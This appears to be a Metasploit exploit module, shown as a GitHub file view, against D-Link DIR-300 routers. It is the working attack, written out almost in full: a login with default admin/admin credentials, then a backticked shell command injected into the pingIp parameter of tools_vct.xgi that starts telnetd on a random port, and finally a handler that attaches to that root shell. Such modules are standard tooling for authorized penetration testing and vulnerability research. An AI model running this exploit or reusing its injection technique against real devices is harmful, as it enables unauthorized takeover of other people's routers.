/
dlink_dir300_exec_telnet.rb
195 lines (165 loc) · 5.69 KB
/
dlink_dir300_exec_telnet.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Various D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. According to the vulnerability discoverer, more D-Link devices may
be affected.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
'DisclosureDate' => '2013-04-22',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
])
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
])
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit
user = datastore['USERNAME']
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
login_path = "/login.php"
#valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
}
})
if res.nil?
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
end
if (res.code == 404)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
end
if (res.body) =~ /#{login_check}/
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def exploit_telnet
telnetport = rand(32767) + 32768
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
#starting the telnetd gives no response
request(cmd)
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
handler(sock)
end
def request(cmd)
uri = '/tools_vct.xgi'
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
},
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
# Since there isn't user/password negotiation, just wait until the prompt is there
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end